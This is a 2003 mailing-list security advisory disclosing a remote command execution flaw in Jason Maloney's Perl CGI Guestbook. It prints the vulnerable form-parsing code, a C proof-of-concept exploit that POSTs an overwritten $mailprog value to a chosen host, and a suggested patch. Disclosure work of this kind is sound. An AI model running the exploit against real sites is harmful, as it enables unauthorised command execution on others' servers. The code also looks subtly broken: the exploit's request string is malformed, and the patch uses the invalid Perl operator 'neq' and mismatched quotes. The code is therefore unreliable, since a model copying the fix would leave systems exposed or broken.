<<< Date Index >>>     <<< Thread Index >>>

Jason Maloney's CGI Guestbook Remote Command Execution Vulnerability.



#######################################################################



-= Application =- : Jason Maloney's CGI Guestbook.
                   
http://www.aestheticsurgerycenter.com/scripts/guestbook/

-= Versions =- : 3.0 / ALL
-= Risk factor =- : High
-= Impact =- : Attackers could execute commands
remotely.
-= Vendor status =- : Vendor notified
-= Date =- : 01 December, 2003
-= Credit =- : Shaun Colley / shaun2k2


#######################################################################


1) Introduction
2) The vulnerability
3) The exploit
4) The fix
5) Credit


#######################################################################


-=-=-=-=-=-=-=-=-
1) Introduction
-=-=-=-=-=-=-=-=-

Jason Maloney's Guestbook is a simple and popular CGI
guestbook script, available from
<http://www.aestheticsurgerycenter.com/scripts/>. 
There exists a vulnerability in the guestbook script
in the way that POSTed data is handled which may allow
an attacker to execute commands remotely.


-=-=-=-=-=-=-=-=-=-=-
2) The vulnerability
-=-=-=-=-=-=-=-=-=-=-

The vulnerability occurs in the small routine which
reads in and handles (converts from hex etc...) the
information posted by the end-user when posting
messages to the guestbook.  The routine assigns values
to all variable names accordingly as specified in the
HTTP POST request (guestbook posts are POSTed).

Here is the error-prone code:


###################### CUT HERE ######################

############################################################
#Don't touch, these are necessary to run the script!
$mailprog = '/usr/lib/sendmail';
$entry = 1;
$allow = 1;
$date_command = "/usr/bin/date";
############################################################
$date = `$date_command +"%B %d, %Y"`; chop($date);

read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
@pairs = split(/&/, $buffer);
foreach $pair (@pairs) {
   ($name, $value) = split(/=/, $pair);
   $value =~ tr/+/ /;
   $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C",
hex($1))/eg;
   $value =~ s/<!--(.|\n)*-->//g;

   if ($allow != 1) {
      $value =~ s/<([^>]|\n)*>//g;
   }

   $FORM{$name} = $value;
}
###################### CUT HERE ######################

The above code trustingly reads in data from the
user's HTTP POST request (their submission of a
guestbook post), assigning all values to variables
specified in the POST request.  Due to bad user input
checking, the user could easily change the value of a
variable holding the path of a program to be opened as
a pipe, such as $mailprog.  $mailprog holds the path
of the sendmail application, and could be changed to
an arbitrary program depending upon the attacker's
desire.

The routine very loosely checks for a few
metacharacters (such as | and *), but in general
performs a weak attempt to sanitize data.  Whilst
changing a preset variable (such as $mailprog) to an
arbitrary command, an attacker could insert an
unnlocked metacharacter, such as ';', into $mailprog
(or even $date_command) to execute multiple commands
at a time.


-=-=-=-=-=-=-=-
3) The exploit
-=-=-=-=-=-=-=-


###################### CUT HERE ######################

/* Jason Maloney's Guestbook CGI vulnerability PoF.
 *
 * Discovered and written by shaun2k2 -
shaunige@xxxxxxxxxxxx
 *
 * A few things in the HTTP headers WILL need to be
changed appropriately to custom values for this
exploit to WORK.
 * 
 * Greets to: rider, maveric, sw0rdf1sh, liquidfish,
pc_the_great, peter, rizzo, theclone, msViolet,
Kankraka, deadprez, hades, the p0pe, port9, Dr
Frankenstein, and whitedwarf.
 * 
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>

#define PORT 80

int main(int argc, char *argv[]) {
        if(argc < 2) {
                printf("Jason Maloney's CGI Guestbook
Exploit.\n");
                printf("Discovered and written by
shaun2k2 - shaunige@xxxxxxxxxxx\n");
                printf("\nUsage: %s <host>\n",
argv[0]);
                exit(-1);
        }

        int sock;

        printf("- Preparing exploit buffer.\n");
        char http_request[] = "POST
/guestbook/guest.cgi HTTP/1.1"
                              "Host: localhost"
                              "User-Agent: Mozilla/5.0
(Windows; U; Win98; en-US; rv:1.2) Gecko/20021205"
                              "Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,image/jpeg,image/gif;q=0.2,*/*;q=0.1"
                              "Accept-Language:
en-us,en;q=0.5"
                              "Accept-Encoding:
gzip,deflate"
                              "Accept-Charset:
ISO-8859-1,utf-8;q=0.7,*;q=0.7"
                              "Keep-Alive: 300"
                              "Connection: keep-alive"
                              "Referer:
http://localhost/guestbook/add.html";
                              "Content-Type:
application/x-www-form-urlencoded"
                              "Content-Length: 111"
                             
"name=dgf&email=shaunige@xxxxxxxxxxx&url=http%3A%2F%2Fdfg&city=dfg&state=dfg&country=USA&comments=dfg&mailprog=evilprog&x=15&y=20";
        struct sockaddr_in dest;
        struct hostent *he;

        if((he = gethostbyname(argv[1])) == NULL) {
                printf("Couldn't resolve
hostname!\n");
                exit(-1);
        }

        if((sock = socket(AF_INET, SOCK_STREAM, 0)) ==
-1) {
                perror("socket()");
                exit(-1);
        }

        dest.sin_family = AF_INET;
        dest.sin_addr = *((struct in_addr
*)he->h_addr);
        dest.sin_port = htons(PORT);

        printf("[!] Connecting.\n");
        if(connect(sock, (struct sockaddr *)&dest,
sizeof(struct sockaddr)) == -1) {
                perror("connect()");
                exit(-1);
        }

        printf("[+] Connected!\n");
        printf("[*] Sending exploit buffer.\n");
        send(sock, http_request, strlen(http_request),
0);
        sleep(1);
        printf("[*] Exploit buffer sent!\n");
        sleep(1);
        close(sock);
        printf("[!] Disconnected.\n");

        return(0);
}

###################### CUT HERE ######################


-=-=-=-=-=-
4) The fix
-=-=-=-=-=-

The vendor, Jason Maloney, has been notified, but
asked me to write a fix if I wanted to.

To patch the problem, just insert the following code
snippet into the guest.cgi script just after
"$FORM{$name} = $value;  }"


###################### CUT HERE ######################

#
# Jason Maloney's CGI Guestbook fix written by
shaun2k2.
#
if($mailprog neq "/usr/lib/sendmail") {
$mailprog = "/usr/lib/sendmail";
}

if($date_command neq "/usr/bin/date") {
$date_command = "/usr/bin/date";
}

if($date neq "`$date_command +"%B %d, %Y"`") {
$date = `$date_command +"%B %d, %Y"`; chop($date);
}
###################### CUT HERE ######################


Details:

The above snippet will cause the guestbook to check
the values of the more important variables after user
input, and if they differ from the original value,
they will be changed back.  Other means of fixing the
problem do exist, but this is the quickest and easiest
patch possible.


5) Credit

This vulnerability was discovered by Shaun Colley /
shaun2k2 - <shaunige@xxxxxxxxxxx>.



#######################################################################



Thank you for your time.
Shaun.

________________________________________________________________________
Download Yahoo! Messenger now for a chance to win Live At Knebworth DVDs
http://www.yahoo.co.uk/robbiewilliams